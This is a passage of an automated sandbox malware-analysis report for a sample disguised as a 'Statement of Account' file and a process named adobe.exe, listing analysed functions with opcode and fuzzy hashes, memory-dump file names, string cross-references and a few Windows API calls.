API ID:
String ID:
API String ID:
Opcode ID: 27623d6542cef739621cd4a20897694dc32760a94ffd7b9ec2e72185ac2ce63d
Instruction ID: 9e33d54dd7054f7cd9ada70fc86764ff63d805c3e3167fea9d5beefd0981ca89
Opcode Fuzzy Hash: 27623d6542cef739621cd4a20897694dc32760a94ffd7b9ec2e72185ac2ce63d
Instruction Fuzzy Hash: 7451D770B102049FEF64566DED547BF369EEB89714F20492AE80EC37A9CA6CCC558392

Function 067B51D7 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 168c94f96781c6f79056fcbf38ec99b27758df5387ffede7998c958aefe9d792
Instruction ID: feb96941bd5b8277cb54648ae49a60166e56cea341282832ba8da4df0f739ea4
Opcode Fuzzy Hash: 168c94f96781c6f79056fcbf38ec99b27758df5387ffede7998c958aefe9d792
Instruction Fuzzy Hash: 58517F70E002058FEF74CEA9C4807FEBBB2EB85314F64982AE559DB385C675E841DB91

Function 067B5068 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5394e5ba3319391a6ca527708f3496c46d92989eb1f24d2e3998d06d7aaaa9eb
Instruction ID: 1510528604a76c58706d6af2c25dd3fd7c5aaf2eb9b7aba0cf433031c3055007
Opcode Fuzzy Hash: 5394e5ba3319391a6ca527708f3496c46d92989eb1f24d2e3998d06d7aaaa9eb
Instruction Fuzzy Hash: 56415E71E006098FEF70CEA9D8C0BBFF7B6EB84310F14592AE216D7650D731A9458B91

Function 067BFCA8 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27f9df7e78d8a26b9f4aba368e9149bc2d534ce0a62d829fb6f7dbd67de8447b
Instruction ID: 11caadf8624d3dfb153b49afc75f532fb88f4fbe8ec1e2eb576c52087bd87691
Opcode Fuzzy Hash: 27f9df7e78d8a26b9f4aba368e9149bc2d534ce0a62d829fb6f7dbd67de8447b
Instruction Fuzzy Hash: 7941E830E102058FDF60DFA9D8907AEB7B6FF85304F109A25E809DB604D778E845CB41

Function 067B20B1 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c2c67e0cfefda7ec7e0b9aea943a444f2f8f9213cb9a8c7c8280a5e08ec808
Instruction ID: b7aea60ee8447e2d42e234683f54482d93f6967605e8347dea096805f5c5e711
Opcode Fuzzy Hash: 37c2c67e0cfefda7ec7e0b9aea943a444f2f8f9213cb9a8c7c8280a5e08ec808
Instruction Fuzzy Hash: D1319C35E102098FCB45CF64C9957AEBBB2EF89300F14C529E816A7755DB71AD42CB40

Function 067B20C0 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1520c15be9b02755063061875ec3ed5d1a6d4a77d79bb7c15541b95ffed2e1ec
Instruction ID: 7d7870748ebede7631db61636987a589a242cd45cf695c392674e5ff21bed2c1
Opcode Fuzzy Hash: 1520c15be9b02755063061875ec3ed5d1a6d4a77d79bb7c15541b95ffed2e1ec
Instruction Fuzzy Hash: 1C318E35E102199FCB15CF64D894AAEBBB2FF89300F14C529E816E7355DB71AD42CB41

Function 067B3AE9 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71ad27d4d06630088199b64397461d7be67fcbf974861c1ce12820d5b05bd44a
Instruction ID: 6b3edca1329467f6ff56534afc099e336a89a92e449a13e6f5d39de7aa24ba33
Opcode Fuzzy Hash: 71ad27d4d06630088199b64397461d7be67fcbf974861c1ce12820d5b05bd44a
Instruction Fuzzy Hash: AD218B75E106099FDB50DFA9D940BEEBBB1EB48720F108026E905E7384EB30D940CB95

Function 067B3AF8 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d8768eb737d6704ee3825b81857558b0bdea77a667f6b6d31cf359e877e7f86
Instruction ID: 9299df6280df74e271101d4a2dc7463c00619e10ab67a4fc34ccdbedc987bdab
Opcode Fuzzy Hash: 0d8768eb737d6704ee3825b81857558b0bdea77a667f6b6d31cf359e877e7f86
Instruction Fuzzy Hash: FE217775E006199FDB50DF68D980BAEBBF1EB48220F10802AE905E7384E630D941CB95

Function 067B5058 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3eb2f1b0795bee6abbdbde9780c5cd07559d943e333c62815a0850279bc234ee
Instruction ID: e5486ce2f24d4b96878a1fbb31064f90be1b68655efffd6fb32915547c9c98b6
Opcode Fuzzy Hash: 3eb2f1b0795bee6abbdbde9780c5cd07559d943e333c62815a0850279bc234ee
Instruction Fuzzy Hash: 8F218B31A006099FDF60CFB9C8C4AAFFBB6FB85300F148929D11597645D771A9088B90

Function 00CAD030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4484410220.0000000000CAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cad000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd538997a7489ecfaa28d1aff995c1e19d0b4cd11c427d524466ac54780ce286
Instruction ID: c546c7db007d0c1e25c048b771caa175b5d496881a5529c2cffa76af9c3da6f0
Opcode Fuzzy Hash: dd538997a7489ecfaa28d1aff995c1e19d0b4cd11c427d524466ac54780ce286
Instruction Fuzzy Hash: 7021FFB1604205DFCB14DF24D980B26BBA5FB89318F24C569E94B4B696C33AD846CA62

Function 00CAD118 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4484410220.0000000000CAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cad000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2d16d36f1c0bf304478a8a33d427c309f7650e1fe1ead684c3160a428f93360
Instruction ID: 514e21dfec586250df1efa5bd0608866957ec3cb82cd459a44365ae8282c429b
Opcode Fuzzy Hash: d2d16d36f1c0bf304478a8a33d427c309f7650e1fe1ead684c3160a428f93360
Instruction Fuzzy Hash: C121D0B16043059FDB04DF14D980B2ABB65FB85328F20C56DEA0B4B651C33AD846C6A1

Function 00CAD005 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4484410220.0000000000CAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cad000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb06d4787416dd01710c7c620274dd5b57f1beee10d28dc975c87ad44f3a108c
Instruction ID: 4b537f4ad3d61f2bcd716e6cb160252973e44ca0b098792f1b88251d345d4389
Opcode Fuzzy Hash: eb06d4787416dd01710c7c620274dd5b57f1beee10d28dc975c87ad44f3a108c
Instruction Fuzzy Hash: A7215C3550D3C08FDB03CB24C990715BF71AB46214F29C5DBD88A8B6A3C23A980ACB62

Function 067BFCA3 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d8e3487b5ac6c5b750af7c7df0cfdee7819b7d237b3cc06538f0c457cbbfd4b
Instruction ID: 25fb7361922d3feaacee452f660fed44b5c7b9aa984004a0fb21bddde43e6ab7
Opcode Fuzzy Hash: 5d8e3487b5ac6c5b750af7c7df0cfdee7819b7d237b3cc06538f0c457cbbfd4b
Instruction Fuzzy Hash: 2011C671E106488BDF60CEE9D8803EEFBB2EF8A710F104627E809EB200D37554858B51

Function 067B3E3F Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a735f3612f45e1c0c4d5e625fe24a25874a87db11f5171c3e7ad060283971703
Instruction ID: 9738fb30a476dc97a83d125f32f2608c205db483342066dbc8397e371e0d484b
Opcode Fuzzy Hash: a735f3612f45e1c0c4d5e625fe24a25874a87db11f5171c3e7ad060283971703
Instruction Fuzzy Hash: 9A11DE35B041511BCB65867E94597AEBBDACBCA720F10843FF50EC7792EE24DC468391

Function 067B3C08 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa1095e9e8940048d73424dfa475c1eef5e2d912d29b6de017148b651139182d
Instruction ID: 34c15627c8dc49aad34d15db41d674fd753df3d5c0cdf85d340a5fd61ab19687
Opcode Fuzzy Hash: aa1095e9e8940048d73424dfa475c1eef5e2d912d29b6de017148b651139182d
Instruction Fuzzy Hash: F211A136B101284BDF54EBB8DC146EE73E6ABC8621B008539D40AE7384EE65DC468BD1

Function 067B3BF9 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b47839686bab48929e7f43996abb43f00609314c8672c049e1f15b6a2fd7e689
Instruction ID: de015cc7da21311c7ba6756ed31a6a0b11952862202ebf2aa2bc70acaead5147
Opcode Fuzzy Hash: b47839686bab48929e7f43996abb43f00609314c8672c049e1f15b6a2fd7e689
Instruction Fuzzy Hash: 66012832F000245BEB949BBCDC147FE76EA9BC4660F044236D10AD7294EE21CC4647D2

Function 067BEDF1 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 571d71d92945a13b25ec430818813bf38b0dab7f1f655a456ac69f7f90aa91c2
Instruction ID: 10a1ed5071536dbd28a04e56c1ab74d7a9a2a0996a51c12776ace6cd114c99c4
Opcode Fuzzy Hash: 571d71d92945a13b25ec430818813bf38b0dab7f1f655a456ac69f7f90aa91c2
Instruction Fuzzy Hash: 4E01B1317001100FDB66967C98A97BE7BD6DBCA750F118839E50AC7352EA25DC038385

Function 067B38C0 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a7ccba97be02f10a814c50b07160ab7f2c6524407f33ead189c1b82153583b7
Instruction ID: 701d29f560310df18c1805ec698c582288b0d6d8191b385dc100b5a9127da126
Opcode Fuzzy Hash: 6a7ccba97be02f10a814c50b07160ab7f2c6524407f33ead189c1b82153583b7
Instruction Fuzzy Hash: 4221C4B5D01259AFCB10DF9AD884ADEFBB8FB48324F10826AE518A7240C7786544CBE5

Function 067B9F50 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baadfd2e6a80e6be33c915dfae2c62bb966ed515f75bb5ccc0bba858fdcd313e
Instruction ID: 8a596050cb105e70db0cbcadbf66e558e53c63e376a8c2d0b1e0e17c470697ef
Opcode Fuzzy Hash: baadfd2e6a80e6be33c915dfae2c62bb966ed515f75bb5ccc0bba858fdcd313e
Instruction Fuzzy Hash: 4201D431B001510FEB659A78E954BBA7BE5EBC7724F14882AF319C7355DE21DC02C785

Function 00CAD113 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4484410220.0000000000CAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cad000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 212b96ca827b798fa91ccd41c0eac3b093082415815754ec50078a914fdf967d
Instruction ID: 55c8eca12cdd9cc3aeb4bf0b381500e8684986fd664c32c7cf07849c9366bab5
Opcode Fuzzy Hash: 212b96ca827b798fa91ccd41c0eac3b093082415815754ec50078a914fdf967d
Instruction Fuzzy Hash: DC11D075504280CFCB05CF10D5C4B19BF72FB45328F24C6ADD94A4B662C33AD94ACB51

Function 067B38C8 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e137cb03aed29947052799a3d706057f0cc44c54d02f542544e90dc4ecc23f74
Instruction ID: d23fedcb3008529715ae47242dd416bdcc737020ed4d98a780b9a0808d56bd3d
Opcode Fuzzy Hash: e137cb03aed29947052799a3d706057f0cc44c54d02f542544e90dc4ecc23f74
Instruction Fuzzy Hash: 2B11D3B5D012599FCB00DF9AD884ADEFBB4FB48324F10812AE518A7200C3786544CFE5

Function 067B3E50 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc40077670fb4dfa4c551620a92cf4e55afc9bdf3543cab47895951a9c1a0a17
Instruction ID: a13f2f78d28e20085fb77c590d46c20a5ee87a21e0aaddd1b46693030e8d440a
Opcode Fuzzy Hash: dc40077670fb4dfa4c551620a92cf4e55afc9bdf3543cab47895951a9c1a0a17
Instruction Fuzzy Hash: AF01FF36B100110BDB649A7DD459B6FB7DACBC9720F20883AF50EC7391DE21DC424385

Function 067BEE00 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8a0b9cd9274f4279c1e4ba05dff3f98c4f6f46292a6c6bfc53682c03ad09212
Instruction ID: b7ce1c8fc0e9f69988e86375e6541c70af9c359945c4a385a84727c9a588e625
Opcode Fuzzy Hash: e8a0b9cd9274f4279c1e4ba05dff3f98c4f6f46292a6c6bfc53682c03ad09212
Instruction Fuzzy Hash: 1301AF36B104100BEB65997DD899BBEB7DADBC9760F108839F50EC7351EE25DC024385

Function 067B9F60 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e57b1850eb96f5f5343aca68aae3b44111f7fded1cfce0bb000ab6d1a6f9486
Instruction ID: cf361318aa93c6c77c0e01a1837710c3db57c567be1726bfed4d7bf0f3b6a395
Opcode Fuzzy Hash: 5e57b1850eb96f5f5343aca68aae3b44111f7fded1cfce0bb000ab6d1a6f9486
Instruction Fuzzy Hash: 9401D131B000100FDB60EA29E858B6A77D5EBCA728F108838F20AC7354DE21DC02C781

Function 067B60B9 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d4dad52f747da0feb587566b9e74923b2b20a812393724feba06b18b0d753ae
Instruction ID: 57cabd16e48183923c69ac37beb6d77eb4e24abc3a06b736aa412eea055dd634
Opcode Fuzzy Hash: 0d4dad52f747da0feb587566b9e74923b2b20a812393724feba06b18b0d753ae
Instruction Fuzzy Hash: 1AF02B31E2C34CABEB20CE75C809BAEB758DB42218F20C9A5F604DB181D177CA01DB80

Function 067B60C8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12f701c29e7df930c5f6445dbfbe766566433816420c95a2ddc918d15dbbb174
Instruction ID: 7abf307b405b8c168b5650d06250fc8901bfcf8f97542d6b7923b6241bcc77b9
Opcode Fuzzy Hash: 12f701c29e7df930c5f6445dbfbe766566433816420c95a2ddc918d15dbbb174
Instruction Fuzzy Hash: 8AE0C271E2011CABEF10CEB1C905BAEB3ACE702208F20C8A5DA08C7241E177CA01D380

Non-executed Functions

Function 067B72E8 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$]q, xrefs: 067B784F
$]q, xrefs: 067B73FF
$]q, xrefs: 067B77B0
$]q, xrefs: 067B77BC
$]q, xrefs: 067B7424
$]q, xrefs: 067B7871
$]q, xrefs: 067B785B
$]q, xrefs: 067B7865
$]q, xrefs: 067B73F3
$]q, xrefs: 067B7430

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-2843079600
Opcode ID: dad649a4b1a05318b9f5663b4c0b105b7201cdf35c9e003abf9013239c8df33f
Instruction ID: 78567c775c5bb7df61c94f8b4b17879e95acf1770b641fbdfa6320851bce4ba0
Opcode Fuzzy Hash: dad649a4b1a05318b9f5663b4c0b105b7201cdf35c9e003abf9013239c8df33f
Instruction Fuzzy Hash: A5121B30E002198FDB68DF79C994BADB7B2BF89304F209969D409AB265DB349D45CF81

Function 067BA580 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$]q, xrefs: 067BA6DD
$]q, xrefs: 067BA6D1
$]q, xrefs: 067BA73E
$]q, xrefs: 067BA682
$]q, xrefs: 067BA676
$]q, xrefs: 067BA732
$]q, xrefs: 067BA6FC
$]q, xrefs: 067BA708

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: b92253f16d1a2bcd2242d08d23600fa95d5e9e638f477d92c936e88f74b1a64a
Instruction ID: b1d509fbdaf0ca985f903bf681658ee1b4181fda6d96e649c31fd81d4fac95fc
Opcode Fuzzy Hash: b92253f16d1a2bcd2242d08d23600fa95d5e9e638f477d92c936e88f74b1a64a
Instruction Fuzzy Hash: B9919030E00209DFEB68EF68D984BBE7BF6EF84304F109529E40197695DB749D46CB90

Function 067B6CE8 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

.5uq, xrefs: 067B6D43
$]q, xrefs: 067B7030
$]q, xrefs: 067B71F0
$]q, xrefs: 067B6FCA
$]q, xrefs: 067B7184
$]q, xrefs: 067B7024
$]q, xrefs: 067B71FC

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: .5uq$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-981061697
Opcode ID: 239485c65bca079b016a52a4d34942044aa786f269c8a24bf9a27ddfcb1a458f
Instruction ID: c78d7e764cad8faa89a314eae86e0ceea639fd94005b2bfe549398af93e6f52c
Opcode Fuzzy Hash: 239485c65bca079b016a52a4d34942044aa786f269c8a24bf9a27ddfcb1a458f
Instruction Fuzzy Hash: 39F14D30A00208CFDB59EBA8D994BAEB7B6BF85304F248529E4059B799DF35DC46DF40

Function 067BBA58 Relevance: 7.7, Strings: 6, Instructions: 197COMMON

Download Yara Rule

Strings

$]q, xrefs: 067BBC65
$]q, xrefs: 067BBC25
$]q, xrefs: 067BBBF1
$]q, xrefs: 067BBC31
$]q, xrefs: 067BBC59
$]q, xrefs: 067BBBFD

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: a6b0ba8f0b9df349ea90b6f5ab34f93bec1fc22bc069ddb366f55f00c84a557b
Instruction ID: 61db61aa128405b4226e5e18d5eacb0e2b213d6a148ad1c0f5c03c08dc89afd4
Opcode Fuzzy Hash: a6b0ba8f0b9df349ea90b6f5ab34f93bec1fc22bc069ddb366f55f00c84a557b
Instruction Fuzzy Hash: D171B131E002098FDB68CF68D994BADB7B6EF84B00F209929D806DB254DF70DD45CB81

Function 067B8018 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$]q, xrefs: 067B827E
$]q, xrefs: 067B82D7
$]q, xrefs: 067B8272
$]q, xrefs: 067B82E3

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 10734faa0782c7ea550f575e6496d75714a0cc23d088d7e8b5f121967be40d3c
Instruction ID: 81ee22df08a6c936f47fa7181ba56c92ce8565f1e57fbada372d82fe5b50452c
Opcode Fuzzy Hash: 10734faa0782c7ea550f575e6496d75714a0cc23d088d7e8b5f121967be40d3c
Instruction Fuzzy Hash: 70B15B30A10208CFDB68EFB9C9947AEB7B6EF84304F248529D4059B395DB75DC86CB81

Function 067B8430 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

LR]q, xrefs: 067B8523
$]q, xrefs: 067B84BB
LR]q, xrefs: 067B8572
$]q, xrefs: 067B84AF

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: LR]q$LR]q$$]q$$]q
API String ID: 0-3527005858
Opcode ID: e2f871696f28a63a44d8ef5acbd80c4e7d7317895b4c607a551a2e1002f859b8
Instruction ID: 4be92d33c12cc755a210c9446169bc7ac8c8962238035cc4edbbe62a7be66ca0
Opcode Fuzzy Hash: e2f871696f28a63a44d8ef5acbd80c4e7d7317895b4c607a551a2e1002f859b8
Instruction Fuzzy Hash: CE51B330B002059FDB68DF28D985BAA77FAFF85304F149569E4069B399DB30EC45CB91

Function 067BA903 Relevance: 5.2, Strings: 4, Instructions: 162COMMON

Download Yara Rule

Strings

$]q, xrefs: 067BAADC
$]q, xrefs: 067BAA84
$]q, xrefs: 067BAA31
$]q, xrefs: 067BAAB3

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 0337247c74b7d4f9516ed48230d2425d58ffcd726434afafd147793954a226a3
Instruction ID: 57874e53af03b1098dbc0e4fb9b8a274f736f1159df6876e1a7a77087a50b3b8
Opcode Fuzzy Hash: 0337247c74b7d4f9516ed48230d2425d58ffcd726434afafd147793954a226a3
Instruction Fuzzy Hash: DD51BE30E102088FDF65EB68DA80BEEB7B2EF85300F10952AE80597355DB35EC41DB90

Analysis Process: adobe.exePID: 1532, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	34
Total number of Limit Nodes:	5

Executed Functions

Function 0273D208 Relevance: 6.1, APIs: 4, Instructions: 131
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0273D296
GetCurrentThread.KERNEL32 ref: 0273D2D3
GetCurrentProcess.KERNEL32 ref: 0273D310
GetCurrentThreadId.KERNEL32 ref: 0273D369

Memory Dump Source

Source File: 00000004.00000002.2159823673.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2730000_adobe.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: f9fe12f66c19db9c7f88b988885095687e193568144f6d2bd93e7aeb297cff1b
Instruction ID: 33674e938a62b8349171bb755551e5c58f6cd34da9002a076339c5be9b47d45c
Opcode Fuzzy Hash: f9fe12f66c19db9c7f88b988885095687e193568144f6d2bd93e7aeb297cff1b
Instruction Fuzzy Hash: 025179B0900249DFDB15DFA9D948BAEBBF1FF48304F208459E419A7361D738A944CB66

Function 0273D218 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

